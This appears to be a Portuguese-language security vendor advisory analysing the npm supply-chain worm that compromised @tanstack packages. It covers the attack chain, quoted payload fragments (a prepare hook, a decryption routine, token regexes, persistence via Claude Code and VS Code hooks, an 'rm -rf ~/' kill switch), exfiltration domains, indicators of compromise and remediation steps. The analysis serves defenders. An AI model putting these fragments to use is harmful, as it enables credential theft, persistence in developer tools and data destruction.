Skip to main content

Pacotes npm do TanStack comprometidos no ataque à cadeia de suprimentos Mini Shai-Hulud

Escrito por
blog feature security alert purple

11 de maio de 2026

0 minutos de leitura

Pacotes npm do TanStack comprometidos: por dentro do ataque à cadeia de suprimentos Mini Shai-Hulud

Em 11 de maio de 2026, entre 19h20 e 19h26 UTC, 84 artefatos maliciosos de pacotes npm foram publicados em 42 pacotes no namespace @tanstack. Os pacotes não foram publicados por um invasor que roubou credenciais; a publicação foi feita pelo pipeline de lançamento legítimo do TanStack, usando sua identidade OIDC confiável, depois que um código controlado pelo invasor sequestrou o runner no meio do fluxo de trabalho. Em poucas horas, as versões maliciosas chegaram à Mistral AI, à UiPath e a dezenas de outros mantenedores. Só o @tanstack/react-router recebe mais de 12,7 milhões de downloads semanais (API do npm).

O incidente foi atribuído pela StepSecurity ao grupo de ameaças conhecido como TeamPCP e também é o primeiro caso documentado de um pacote npm malicioso com proveniência SLSA válida. A proveniência SLSA é um certificado criptográfico, gerado pelo Sigstore, que serve para verificar se um pacote foi compilado a partir de uma fonte confiável. O worm conseguiu gerar esses certificados porque sequestrou o próprio pipeline de compilação legítimo; o Sigstore verificou corretamente o processo de compilação. O que o SLSA não garante é que o código compilado fosse seguro.

Se sua equipe instalou qualquer versão afetada de @tanstack/* em 11 de maio, considere o ambiente de instalação comprometido e altere todos os segredos acessíveis a partir desse host. Continue lendo para conferir a lista completa de pacotes, a análise técnica e as etapas de correção.

CVE: CVE-2026-45321 | GHSA: GHSA-g7cv-rxg3-hmpx | Gravidade: Crítica

Onda quatro: contexto da campanha

O ataque ao TanStack não é um incidente isolado. É a mais recente onda de uma série de ataques à cadeia de suprimentos npm que usam o conjunto de ferramentas do worm Shai-Hulud. O TeamPCP, grupo ao qual a StepSecurity atribui este ataque, também é responsável pelo comprometimento do scanner Trivy da Aqua Security (março de 2026) e do pacote npm da CLI do Bitwarden (abril de 2026). As ondas anteriores do Shai-Hulud (setembro e novembro de 2025) usaram o mesmo conjunto de ferramentas do worm, mas não foram atribuídas ao TeamPCP.

Onda

Data

Escala

Principal escalada

14–16 de set. de 2025

Mais de 500 pacotes, mais de 700 repositórios

Primeiro worm npm com propagação automática; TruffleHog para roubo de segredos

21–23 de nov. de 2025

492 pacotes, 132 milhões de downloads mensais, mais de 25.000 repositórios

Hook preinstall (sem interação humana); destruição do diretório pessoal como contingência (análise pós-incidente do Trigger.dev)

29 de abr. de 2026

Primeira persistência por agente de programação com IA (.claude/settings.json); exfiltração criptografada; exceção para localidade russa

11 de mai. de 2026

373 versões maliciosas, 169 pacotes

Primeiro worm npm com atestações SLSA Build Level 3 válidas; C2 P2P via Session

Cada onda se baseia na sofisticação técnica da anterior. A quarta onda se destaca não pela escala (a onda 2 foi maior), mas pelo que conseguiu: publicar pacotes maliciosos indistinguíveis dos legítimos por meio de atestação de proveniência — algo que nenhum ataque anterior à cadeia de suprimentos havia demonstrado.

O TeamPCP reivindicou publicamente a autoria do ataque. O grupo também é conhecido pelos aliases DeadCatx3, PCPcat, ShellForce e CipherForce. A Unit 42 documentou a parceria anunciada pelo grupo com o grupo de ransomware Vect, com base em uma publicação no BreachForums.

A CISA emitiu alertas tanto para a onda original de setembro de 2025 quanto para o comprometimento do tj-actions/changed-files (março de 2025), que documentou pela primeira vez a técnica de extração de token OIDC reutilizada neste ataque.

O que foi atingido

A família principal de roteadores do TanStack foi o vetor inicial, mas o mecanismo de autopropagação do worm ampliou rapidamente o alcance do ataque.

Pacotes TanStack (42 pacotes, 84 versões — duas por pacote):

Pacote

Versões comprometidas

1.169.5, 1.169.8

1.169.5, 1.169.8

1.169.5, 1.169.8

1.169.5, 1.169.8

1.167.68, 1.167.71

1.167.38, 1.167.41

A lista completa dos 42 pacotes está em GHSA-g7cv-rxg3-hmpx e no Banco de Dados de Segurança da Snyk. Famílias confirmadas como não afetadas: @tanstack/query*, @tanstack/table*, @tanstack/form*, @tanstack/virtual*, @tanstack/store.

Vítimas secundárias (propagação pelo worm):

Namespace

Exemplos de pacotes

@mistralai/mistralai 2.2.2–2.2.4; variantes -azure e -gcp

@uipath

Mais de 40 pacotes no namespace UiPath

@draftlab / @draftauth

@draftlab/auth, @draftlab/db, @draftauth/client

@squawk

19 pacotes de dados de aviação

diversos

safe-action, cmux-agent-mcp, nextmove-mcp, ts-dna, cross-stitch e outros

Até o fim do dia, pelo menos 170 pacotes afetados haviam sido documentados no Banco de Dados de Segurança da Snyk. @mistralai/mistralai também está registrado no banco de dados de pacotes maliciosos da OSSF como MAL-2026-3432 (GHSA-3q49-cfcf-g5fm).

Como o ataque funcionou: três vulnerabilidades encadeadas

A análise pós-incidente do TanStack é detalhada. Três vulnerabilidades foram encadeadas; nenhuma delas, sozinha, teria sido suficiente.

Etapa 1: Pwn Request via pull_request_target

Em 10 de maio de 2026, o invasor criou um fork de TanStack/router na conta zblgg (ID do GitHub 127806521), dando a ele o nome deliberado de zblgg/configuration para evitar que aparecesse em buscas por listas de forks. Um commit malicioso (65bf499d) foi criado com a identidade falsa claude <claude@users.noreply.github.com>, se passando pelo aplicativo GitHub da Anthropic Claude, e recebeu o prefixo [skip ci] para impedir a execução automática da CI após o push.

Em 11 de maio, às 10h49, o invasor abriu o PR nº 7378 para TanStack/router#main, com o título “WIP: simplify history build”, e acionou uma configuração incorreta conhecida: o fluxo de trabalho bundle-size.yml do TanStack usava o gatilho pull_request_target, mas fazia checkout da referência de merge do fork e executava código controlado pelo fork:

on:
  pull_request_target:
    paths: ['packages/**', 'benchmarks/**']

jobs:
  benchmark-pr:
    steps:
      - uses: actions/checkout@v6.0.2
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge  # fork code

      - uses: TanStack/config/.github/setup@main  # calls actions/cache@v5

      - run: pnpm nx run @benchmarks/bundle-size:build  # executes fork-controlled code

Esse padrão de “Pwn Request” foi documentado e demonstrado pela primeira vez contra Angular, MDN e hyperledger/besu pelo pesquisador de segurança Adnan Khan em maio de 2024. O gatilho pull_request_target é executado no contexto de segurança do repositório-base, então o código do fork teve acesso ao escopo de cache do repositório-base e ao GITHUB_TOKEN.

Etapa 2: envenenamento do cache do GitHub Actions

O arquivo malicioso vite_setup.mjs do fork não exfiltrou dados de imediato. Em vez disso, envenenou o armazenamento de pacotes do pnpm usando exatamente a chave de cache que o release.yml usaria mais tarde:

Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

Essa chave foi calculada previamente a partir do pnpm-lock.yaml público, usando a mesma fórmula hashFiles('**/pnpm-lock.yaml') do fluxo de trabalho. A entrada de cache envenenada, de 1,1 GB, foi salva às 11h29 e permaneceu sem ser detectada por quase oito horas, até que um push legítimo na branch main acionou o release.yml às 19h15.

Quem criou o bundle-size.yml tentou separar os níveis de confiança — mantendo o trabalho de benchmark isolado e incluindo uma observação sobre permissões não confiáveis —, mas deixou passar um comportamento crítico do GitHub Actions: o salvamento pós-trabalho de actions/cache@v5 usa um token interno do runner, não o GITHUB_TOKEN do fluxo de trabalho. Por isso, permissions: contents: read não impede gravações no cache. O escopo do cache também é compartilhado entre execuções de pull_request_target e pushes na branch-base, criando uma janela para o envenenamento entre limites de confiança.

Etapa 3: extração do token OIDC da memória do runner

O release.yml tem a permissão id-token: write, necessária para a vinculação de publicadores confiáveis do npm via OIDC. Quando binários controlados pelo invasor, vindos do armazenamento pnpm envenenado, foram executados durante a etapa de compilação, usaram uma técnica documentada no comprometimento do tj-actions/changed-files em março de 2025; a análise pós-incidente do TanStack observa que o invasor usou “a mesma técnica de extração de memória (e o mesmo script Python, palavra por palavra, com comentário de atribuição)” daquele incidente:

  1. Localizar o processo Runner.Worker via /proc/*/cmdline

  2. Ler /proc/<pid>/maps e /proc/<pid>/mem para despejar o espaço de endereçamento do worker

  3. Extrair o token OIDC, que o runner gera sob demanda na memória quando id-token: write está definido

  4. Fazer POST diretamente para registry.npmjs.org, autenticado como o fluxo de trabalho legítimo de lançamento do TanStack

A etapa prevista Publish Packages do fluxo de trabalho nunca foi alcançada: os testes falharam e a etapa foi ignorada. Mesmo assim, a publicação maliciosa ocorreu, autenticada com um token OIDC válido e com proveniência SLSA válida, porque o invasor extraiu o token antes de o fluxo de trabalho terminar.

Ocorreram duas execuções de release. Ambas terminaram com status: failure. O npm recebeu 84 publicações válidas e assinadas de pacotes com atestação de proveniência nas execuções 25613093674 e 25691781302.

Dentro do payload: router_init.js

O arquivo router_init.js, de 2,3 MB, foi inserido às escondidas na raiz de cada tarball comprometido. Ele não estava declarado no campo files do pacote, o que comprova que o tarball foi adulterado fora do processo normal de compilação. Cada pacote também recebeu uma entrada injetada em optionalDependencies:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

O hash do commit aponta para um commit órfão no fork do invasor, que o GitHub exibe por meio da URL legítima TanStack/router devido ao armazenamento compartilhado de objetos de commit entre redes de forks. A URL parece oficial; o commit não é. Quando o npm resolve a dependência, ele baixa e executa um hook de ciclo de vida prepare:

{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
  }
}

O && exit 1 é intencional: a dependência opcional “falha” sem interromper a instalação, quase sem deixar vestígios nos logs, enquanto o payload já está sendo executado em segundo plano.

Uma observação defensiva importante: como gerenciador de pacotes, o Bun não executa scripts de ciclo de vida por padrão. Portanto, quem instalou diretamente os pacotes afetados usando o Bun não teria acionado esse vetor específico de entrega do payload. Máquinas com o Bun já instalado também acionam uma saída antecipada na verificação hasCommand("bun") do payload. Isso não torna o Bun uma mitigação completa: o arquivo router_init.js continua no tarball, mas o risco de ataque durante a instalação é menor.

Três camadas de ofuscação

O router_init.js usa um esquema de proteção em três camadas, documentado pela análise completa de desofuscação da Upwind Security (com o webcrack 2.16.0, que gerou 221.771 linhas de JavaScript legível a partir do blob ofuscado de 11,7 MB):

Camada 1: O padrão clássico do JavaScript Obfuscator: uma rotina de inicialização que gira um array de strings e invoca a si mesma, seguida de uma função despachante (_0x253b) chamada 2.864 vezes em uma única linha do código-fonte. Todos os literais de string são substituídos por consultas ao array.

Camada 2: Uma cifra de substituição Fisher-Yates aplicada byte a byte. A chave é derivada por PBKDF2-SHA256 com a chave mestra fixa 0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2186c40aa e o salt svksjrhjkcejg, com 200.000 iterações — deliberadamente lentas para dificultar a análise automatizada. Essa camada descriptografa 396 constantes de string exclusivas, incluindo domínios C2, caminhos de credenciais e o nome interno da campanha: EveryBoiWeBuildIsAWormyBoi.

Camada 3: 11 payloads criptografados com AES-256-GCM e compactados com gzip, que exigem o runtime Bun (Bun.gunzipSync) para serem descriptografados. A função de criptografia, recuperada durante a desofuscação:

function w8(key, encryptedData) {
  let keyBuf     = Buffer.from(key, 'base64');
  let dataBuf    = Buffer.from(encryptedData, 'hex');
  let iv         = dataBuf.subarray(0, 12);
  let authTag    = dataBuf.subarray(12, 28);
  let ciphertext = dataBuf.subarray(28);
  let decipher   = createDecipheriv('aes-256-gcm', keyBuf, iv);
  decipher.setAuthTag(authTag);
  return new TextDecoder().decode(Bun.gunzipSync(
    Buffer.concat([decipher.update(ciphertext), decipher.final()])
  ));
}

O mesmo PRNG Fisher-Yates ctf-scramble-v2 (inicializado com 0x3039 / 12345) aparece literalmente nas campanhas do Bitwarden CLI, SAP e TanStack — a Unit 42 identificou isso como um indicador de autoria compartilhada, conectando os três ataques à mesma base de código.

Execução como daemon

Antes de fazer qualquer coisa visível, o payload verifica process.env.__DAEMONIZED. Se a variável não estiver definida, ele cria um processo filho totalmente desacoplado, suprime toda a entrada e saída padrão e chama unref() para que o Node.js não espere pelo processo filho. O processo pai é encerrado normalmente; o filho é executado em silêncio, sem vínculo com a sessão de terminal que executou npm install.

Coleta de credenciais

O payload faz uma varredura sistemática em todos os principais planos de credenciais de ambientes de CI nativos da nuvem. Observe que o coletor de memória do runner ignora intencionalmente os tokens chamados explicitamente de github_token — provavelmente para evitar acionar a verificação de segredos do próprio GitHub nos dados exfiltrados.

GitHub Actions:

  • Leitura direta: GITHUB_REPOSITORY, GITHUB_SERVER_URL, ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL

  • API REST do GitHub: GET /repos/<repo>/actions/secrets?per_page=100 (o máximo permitido pela API)

AWS:

  • Variáveis de ambiente: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION, AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

  • IMDSv2 (implementado corretamente — funciona com instâncias protegidas que desativaram o IMDSv1)

  • Endpoint de metadados de tarefas do ECS (169.254.170.2)

  • Enumeração do Secrets Manager e do SSM Parameter Store em várias regiões

HashiCorp Vault:

  • VAULT_TOKEN, VAULT_ADDR, VAULT_AUTH_TOKEN

  • Chamadas diretas à API de vault.svc.cluster.local:8200 (o endpoint do Vault interno ao Kubernetes)

Kubernetes:

  • Tokens de conta de serviço em /var/run/secrets/kubernetes.io/serviceaccount/

  • Em conjunto com o endpoint do Vault: roubar o token do K8s → autenticar no Vault → recuperar todos os segredos do Vault

Alvos em estações de trabalho:

  • ~/.npmrc, ~/.git-credentials, chaves privadas SSH em ~/.ssh/

  • Metadados do GCP e arquivos de credenciais de provedores de nuvem encontrados em mais de 100 caminhos no Linux e no macOS

  • ~/.claude/projects/*.jsonl — arquivos com o histórico de sessões do Claude Code, contendo código, comandos e possíveis credenciais que apareceram em sessões anteriores do Claude Code

Padrões de regex de tokens recuperados durante a desofuscação:

{
  npmtoken:   /npm_[A-Za-z0-9]{36,}/g,
  ghtoken:    /gh[op]_[A-Za-z0-9]{36}/g,
  vaultToken: /hvs\.[A-Za-z0-9_-]{24,}/g,
  k8sToken:   /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-.]+/g,
  awsKey:     /AKIA[0-9A-Z]{16}/g,
}

Exfiltração e depósitos secretos

Os dados roubados são criptografados e enviados pela rede descentralizada de mensagens P2P Session/Oxen (filev2.getsession[.]org, seed{1,2,3}.getsession.org). Não há um servidor C2 controlado pelo invasor; o tráfego é roteado pelos nós de serviço baseados em onion da Session e não se distingue da telemetria de um aplicativo de mensagens criptografadas. O bloqueio por IP é ineficaz; bloquear *.getsession.org no DNS é a medida prática de controle de perímetro.

Rotas secundárias de exfiltração usam a própria API GraphQL do GitHub por meio de commits de depósito secreto: autoria como claude@users.noreply.github.com (fingindo ser o GitHub App do Anthropic Claude), mensagem chore: update dependencies e nomes de branches no estilo Dependabot, inspirados no universo de Duna, de Frank Herbert: dependabout/…/setup-formatter (atenção: "dependabout", não "dependabot"). O endpoint GraphQL do GitHub está na lista de permissões de saída de praticamente todas as redes de CI, então esse canal contorna por completo os controles de perímetro.

O payload também injeta .github/workflows/codeql_analysis.yml em todos os repositórios acessíveis, exfiltrando toJSON(secrets) a cada push — e coletando todo o contexto de segredos do GitHub Actions das organizações vítimas.

Um mecanismo secundário de recuperação pesquisa no GitHub commits que contenham a string mágica OhNoWhatsGoingOnWithGitHub para recuperar tokens exfiltrados anteriormente por outras vítimas.

Propagação automática

Depois de exfiltrar as credenciais, o worm consulta:

GET https://registry.npmjs.org/-/v1/search?text=maintainer:<username>

Em seguida, ele publica novamente cada pacote usando a identidade OIDC roubada, com a mesma injeção de router_init.js e a mesma entrada em optionalDependencies. A propagação alcançou mais de 200 pacotes além das 84 versões iniciais de @tanstack/*, conforme documentado no Banco de Dados de Segurança da Snyk. Foi assim que o worm chegou à Mistral AI, à UiPath e a dezenas de outras vítimas secundárias.

É importante destacar que o worm usa generateKeyPairSync e sign para forjar atestações de procedência in-toto compatíveis com Sigstore para cada pacote republicado. Isso significa que os pacotes das vítimas secundárias também apresentam o que parece ser uma procedência SLSA válida; a falha nas atestações SLSA também afeta os pacotes propagados pelo worm, não apenas a publicação inicial do TanStack.

Persistência: desinstalar não basta

O worm grava cópias de si mesmo nos diretórios de ferramentas de desenvolvimento para persistir mesmo após npm uninstall e reinicializações:

Hooks do Claude Code (.claude/):

<project>/.claude/router_runtime.js   # payload self-copy
<project>/.claude/settings.json       # hooks config: runs on every tool event
<project>/.claude/setup.mjs           # ESM loader shim

A configuração de hooks do Claude Code pode executar comandos de shell em resposta a eventos de ferramentas, como edições de arquivos e execuções do bash. Ao se gravar em .claude/settings.json, o worm é executado novamente sempre que um desenvolvedor usa o Claude Code no diretório do projeto afetado.

VS Code (.vscode/):

<project>/.vscode/setup.mjs           # ESM loader shim
<project>/.vscode/tasks.json          # runs setup.mjs on folder open

A execução automática de tarefas no workspace do VS Code oferece um vetor de execução independente. Juntos, esses dois mecanismos significam que um desenvolvedor que executou npm install em uma versão afetada pode voltar a comprometer seu ambiente toda vez que abrir o editor.

Nx npm Malware Explained: AI Agent Hijacking

Malware npm do Nx explicado: sequestro de agentes de IA — Saiba como malwares da cadeia de suprimentos exploram tarefas do VS Code e hooks de agentes de programação com IA como vetores de persistência, com uma análise da campanha do worm npm do Nx, que usou técnicas idênticas.

Kill switch em nível de sistema:

~/.local/bin/gh-token-monitor.sh                    # Linux
~/.config/systemd/user/gh-token-monitor.service     # Linux
~/Library/LaunchAgents/com.user.gh-token-monitor.plist  # macOS

Este serviço consulta api.github.com/user a cada 60 segundos usando o token roubado do GitHub. Se o token for revogado (resposta HTTP 40x), ele executa rm -rf ~/ — apagando o diretório pessoal do usuário.

A ordem das medidas de remediação é importante: desative o serviço de monitoramento antes de revogar as credenciais. Se você revogar primeiro, poderá acionar a destruição do diretório pessoal. O pesquisador carlini identificou isso de forma independente no comentário #4425225340 de um issue no GitHub, e a comunidade do HN divulgou o problema poucas horas após o ataque.

O problema da procedência SLSA

Este ataque é o primeiro caso documentado de um worm npm que produz atestações válidas de procedência SLSA Build Level 3 para pacotes maliciosos. As atestações Sigstore das versões comprometidas de @tanstack/* são legítimas: elas atestam corretamente que os pacotes foram compilados e publicados por release.yml, executado em refs/heads/main no repositório TanStack/router. Tudo isso é verdade.

A procedência SLSA atesta que um pacote foi compilado por uma execução do GitHub Actions de um repositório específico. Ela não atesta que o workflow tinha autorização para ser executado, que foi executado a partir de uma branch protegida ou que o commit que o acionou era legítimo.

A configuração OIDC vulnerável:

# Vulnerable: trusts the entire repository
Trusted publisher: Repository: tanstack/router

A configuração segura:

# Secure: pins to specific branch and workflow
Trusted publisher:
  Repository: tanstack/router
  Workflow: .github/workflows/release.yml
  Branch: refs/heads/main

Qualquer pacote npm que use publicação confiável por OIDC sem fixar a branch e o workflow está vulnerável a esse tipo de ataque. As atestações de procedência continuam sendo necessárias para a segurança da cadeia de suprimentos, mas não são suficientes. A análise comportamental durante a instalação é um controle complementar. A análise comportamental automatizada sinalizou os 84 artefatos afetados em até seis minutos após a publicação, ao detectar anomalias em router_init.js antes que qualquer analista os revisasse.

O que fazer agora

Etapa 0: determine se você está exposto

Verifique se alguma versão afetada chegou aos seus ambientes sem executar scripts:

# Safe inspection: downloads tarball without executing lifecycle scripts
npm pack @tanstack/react-router@1.169.5 --dry-run

# Or manually unpack and inspect
npm pack @tanstack/<name>@<version>
tar -xzf *.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js   # present = compromised version
# Check by hash
find . -name "router_init.js" -exec shasum -a 256 {} \;
# Compromised hash: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
# Check for the malicious optionalDependency marker in installed packages
find node_modules/@tanstack -name "package.json" | \
  xargs grep -l "voicproducoes\|79ac49eedf"

Etapa 1: interrompa a persistência ANTES de trocar as credenciais

Se encontrar indícios de comprometimento, desative o kill switch antes de qualquer outra ação:

# Linux — stop and disable the monitoring service
systemctl --user stop gh-token-monitor.service 2>/dev/null
systemctl --user disable gh-token-monitor.service 2>/dev/null
rm -f ~/.config/systemd/user/gh-token-monitor.service
rm -f ~/.local/bin/gh-token-monitor.sh

# macOS — unload the LaunchAgent
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

Em seguida, remova os hooks de persistência do editor:

# Claude Code hooks
cat ~/.claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
cat .claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
# Remove router_runtime.js, setup.mjs, and any suspicious hook entries

# VS Code tasks
cat .vscode/tasks.json 2>/dev/null
# Remove any task referencing setup.mjs or router_runtime.js

# Check for injected GitHub Actions workflow
ls .github/workflows/codeql_analysis.yml 2>/dev/null
# If present and you didn't add it, it's likely the injected exfil workflow — remove it
# Check for dead-drop commits authored as the Claude bot
git log --all --author=claude@users.noreply.github.com
# Revert any unexpected commits and force-push after confirming they're not legitimate

Etapa 2: troque todos os segredos

Depois de remover a persistência, troque as credenciais nesta ordem de prioridade:

  1. Tokens de publicação do npm e concessões de federação OIDC de qualquer pacote npm publicado a partir de repositórios afetados

  2. PATs do GitHub e tokens de acesso pessoal com permissões granulares

  3. Credenciais da AWS (tanto chaves estáticas quanto relações de confiança com funções de instância via IMDSv2)

  4. Tokens do HashiCorp Vault

  5. Tokens de conta de serviço do Kubernetes

  6. Chaves privadas SSH

  7. Credenciais de contas de serviço do GCP

  8. Quaisquer segredos visíveis em ~/.claude/projects/*.jsonl — os registros de sessão do Claude Code são alvos de coleta

Restabeleça as concessões de federação OIDC somente depois de confirmar que o workflow de publicação está limpo.

Etapa 3: mitigações em nível de rede

Bloqueie *.getsession.org no DNS. O bloqueio por IP não é suficiente — a rede Session usa nós de serviço distribuídos. O bloqueio no DNS é a medida prática de controle de perímetro.

Bloqueie também: api.masscan.cloud e git-tanstack.com (domínios C2 adicionais da infraestrutura da campanha). Bloqueie na saída as URLs dos payloads de segundo estágio: litter.catbox.moe/h8nc9u.js e litter.catbox.moe/7rrc6l.mjs.

Etapa 4: audite a configuração OIDC do GitHub Actions

Para qualquer pacote npm que use publicação confiável, fixe a configuração OIDC a uma branch e a um arquivo de workflow específicos:

# Update your npm trusted publisher config to include:
workflow: .github/workflows/release.yml
branch: refs/heads/main
# (not just repository: owner/repo)

Defina permissions: id-token: none no nível do workflow e conceda id-token: write somente à tarefa específica que publica:

permissions:
  id-token: none
  contents: read

jobs:
  publish:
    permissions:
      id-token: write  # only this job, not the entire workflow

Etapa 5: audite os workflows pull_request_target

Qualquer workflow que use pull_request_target, faça checkout do código de um fork e grave no cache está vulnerável ao vetor de envenenamento de cache. Use pull_request (contexto do fork, somente leitura) ou separe completamente a execução do código do fork das gravações no cache do repositório base.

Limpe os caches existentes do GitHub Actions em qualquer repositório que tenha pull_request_target e gravações no cache:

# GitHub CLI
gh api /repos/OWNER/REPO/actions/caches --jq '.actions_caches[].id' | \
  xargs -I{} gh api -X DELETE /repos/OWNER/REPO/actions/caches/{}

Fixe todas as referências a ações de terceiros em SHAs de commit, não em tags:

# Instead of:
- uses: actions/cache@v5
# Use:
- uses: actions/cache@d4323d4df104b026a6aa633fdb11d772146be0bf

Etapa 6: adicione períodos de espera após o lançamento

As versões maliciosas ficaram disponíveis por aproximadamente três horas. Um período de espera de sete dias teria oferecido proteção total contra esse ataque específico (consulte também: configurações do pnpm para reforçar a segurança da cadeia de suprimentos):

# ~/.npmrc
min-release-age=7
ignore-scripts=true

# ~/Library/Preferences/pnpm/rc
minimum-release-age=10080   # minutes

# ~/.bunfig.toml
[install]
minimumReleaseAge = 604800  # seconds

# ~/.config/uv/uv.toml
exclude-newer = "7 days"

Considere também allow-git=none no npm v11+ para impedir a instalação de dependências por URL do Git (o vetor de ataque da optionalDependency @tanstack/setup).

Etapa 7: não confie apenas na procedência SLSA

Este ataque produz atestações válidas SLSA Build Level 3 para pacotes maliciosos. Verificar a procedência é necessário, mas não suficiente. Combine essa verificação com análise comportamental durante a instalação e uma ferramenta que confira os pacotes em busca de assinaturas maliciosas conhecidas.

A cobertura da Snyk

O Banco de Dados de Segurança da Snyk inclui o ataque relacionado à cadeia de suprimentos do LiteLLM no PyPI (SNYK-PYTHON-LITELLM-15762713), no qual versões adulteradas de litellm foram enviadas diretamente ao PyPI, instalando um ladrão de credenciais em várias etapas e uma backdoor persistente com a mesma técnica de arquivo .pth.

A análise detalhada da Snyk sobre o ataque ao LiteLLM está disponível em snyk.io/articles/poisoned-security-scanner-backdooring-litellm.

O Snyk Open Source verifica sua árvore de dependências no Banco de Dados de Segurança da Snyk e sinaliza versões de pacotes com comprometimento conhecido. Se você ainda não verifica seus projetos, experimente a Snyk gratuitamente para avaliar sua exposição atual.

Shai-Hulud NPM Attack: Remediation with Snyk

Ataque Shai-Hulud ao NPM: remediação com a Snyk — Veja como usar a Snyk para identificar pacotes comprometidos na sua árvore de dependências e corrigir a exposição.

Resumo: indicadores de comprometimento

Indicador

Valor

CVE

CVE-2026-45321

GHSA

GHSA-g7cv-rxg3-hmpx

Arquivo malicioso

router_init.js

SHA-256 (router_init.js)

ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c

SHA-256 (tanstack_runner.js)

2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96

optionalDependency maliciosa

"@tanstack/setup": "github:tanstack/router#79ac49ee..."

Fork do invasor

Commit órfão malicioso

79ac49eedf774dd4b0cfa308722bc463cfe5885c

Domínio principal de exfiltração

filev2.getsession[.]org

C2 adicional

api.masscan.cloud, git-tanstack.com

Payloads de segundo estágio

litter.catbox.moe/h8nc9u.js, litter.catbox.moe/7rrc6l.mjs

Autor do commit de depósito secreto

claude@users.noreply.github.com

Padrão de branch do depósito secreto

dependabout/…/setup-formatter

Arquivos de persistência

.claude/router_runtime.js, .claude/setup.mjs, .vscode/setup.mjs

Kill switch (Linux)

~/.local/bin/gh-token-monitor.sh, ~/.config/systemd/user/gh-token-monitor.service

Mecanismo de segurança (macOS)

~/Library/LaunchAgents/com.user.gh-token-monitor.plist

Salt PBKDF2 da campanha

svksjrhjkcejg (exclusivo desta campanha, útil para YARA)

String da campanha

IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner

Scripts de detecção mantidos pela comunidade: GLPMC/Tanstack-Worm-Detector e omarpr/mini-shai-hulud-ioc-scanner (mas verifique antes de usá-los).

Comece a proteger seus aplicativos Python

Encontre e corrija vulnerabilidades em Python gratuitamente com o Snyk.

Não é necessário informar cartão de crédito.

Ou cadastre-se com Azure AD Docker ID Bitbucket

Ao usar o Snyk, você concorda em cumprir nossas políticas, incluindo os Termos de Serviço e a Política de Privacidade.